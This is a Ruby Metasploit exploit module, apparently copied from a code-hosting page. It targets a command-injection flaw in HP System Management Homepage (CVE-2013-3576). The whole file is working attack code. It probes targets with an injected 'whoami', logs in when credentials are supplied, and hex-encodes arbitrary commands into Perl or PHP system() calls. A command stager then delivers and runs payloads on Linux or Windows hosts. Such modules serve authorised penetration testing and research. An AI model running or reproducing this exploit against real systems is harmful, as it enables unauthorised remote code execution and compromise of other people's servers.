201 lines
5.4 KiB
Ruby
201 lines
5.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::CmdStager
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",
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'Description' => %q{
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This module exploits a vulnerability found in HP System Management Homepage. By
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supplying a specially crafted HTTP request, it is possible to control the
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'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
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which will be used in a exec() function.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Markus Wulftange', # Discovery & multi-platform Metasploit module
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'sinn3r' # initial Windows Metasploit module
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],
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'References' =>
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[
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['CVE', '2013-3576'],
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['OSVDB', '94191'],
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['US-CERT-VU', '735364']
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],
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'Platform' => %w{ linux win },
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'Targets' =>
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[
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['Linux', {
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'CmdStagerFlavor' => 'bourne'
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}],
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['Linux (x64)', {
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'Platform' => 'linux',
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'Arch' => ARCH_X64,
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'CmdStagerFlavor' => 'bourne'
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}],
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['Windows', {
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'CmdStagerFlavor' => 'vbs'
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}],
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['Windows (x64)', {
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'Platform' => 'win',
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'Arch' => ARCH_X64,
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'CmdStagerFlavor' => 'vbs'
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}],
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],
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'Privileged' => false,
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'DisclosureDate' => "Jun 11 2013"
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))
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register_options(
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[
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Opt::RPORT(2381),
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# USERNAME/PASS may not be necessary, because the anonymous access is possible
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OptString.new("USERNAME", [false, 'The username to authenticate as']),
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OptString.new("PASSWORD", [false, 'The password to authenticate with'])
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], self.class)
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end
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def check
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@cookie = ''
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sig = Rex::Text.rand_text_alpha(10)
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cmd = "echo #{sig}&&whoami&&echo #{sig}"
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res = send_command(cmd)
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if not res
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vprint_error("Connection timed out")
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return Exploit::CheckCode::Unknown
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end
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if res.code == 200 && res.body =~ /#{sig}/
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vprint_good("Running with user '#{res.body.split(sig)[1].strip}'")
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def login
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username = datastore['USERNAME']
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password = datastore['PASSWORD']
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cookie = ''
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/proxy/ssllogin',
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'vars_post' => {
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'redirecturl' => '',
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'redirectquerystring' => '',
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'user' => username,
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'password' => password
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}
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})
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if not res
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fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
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end
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# CpqElm-Login: success
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if res.headers['CpqElm-Login'].to_s =~ /success/
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cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
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end
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cookie
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end
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def setup_stager
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execute_cmdstager(:temp => './', :linemax => 2800)
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end
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def execute_command(cmd, opts={})
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# Encodes command as sequence of hex values to be passed to the Perl/PHP
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# function `pack("N*", ...)` that is then used in a `system(...)` call.
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# trailing bytes need to be handled separately
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rem = cmd.size % 4
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if rem != 0
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last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})"
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cmd = cmd[0...-rem]
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end
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# convert double words into hex representation
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dwords = cmd.each_byte.each_slice(4).map { |dw|
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sprintf("0x%x", dw.pack("C*").unpack("N")[0])
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}
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# build final Perl/PHP code that is getting executed
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script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});"
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# build Perl/PHP invocation command
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case target.opts['Platform']
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# Perl for Linux as it's more likely to be in the PATH
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when "linux" then cmd = "perl -e '#{script_code}'"
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# PHP for Windows
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when "win" then cmd = "php -r #{script_code}"
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end
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res = send_command(cmd)
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if res && res.code != 200
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vprint_error("Unexpected response:\n#{res}")
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fail_with(Failure::Unknown, "There was an unexpected response")
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end
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end
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def send_command(cmd)
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if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
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@cookie = login
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if @cookie.empty?
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fail_with(Failure::NoAccess, "#{peer} - Login failed")
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else
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print_good("Logged in as '#{datastore['USERNAME']}'")
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end
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end
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req_opts = {}
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req_opts['uri'] = generate_uri(cmd)
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unless @cookie.empty?
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browser_chk = 'HPSMH-browser-check=done for this session'
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curl_loc = "curlocation-#{datastore['USERNAME']}="
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req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
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end
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send_request_raw(req_opts)
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end
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def generate_uri(cmd)
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"#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo"
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end
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def exploit
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@cookie = ''
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setup_stager
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end
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end
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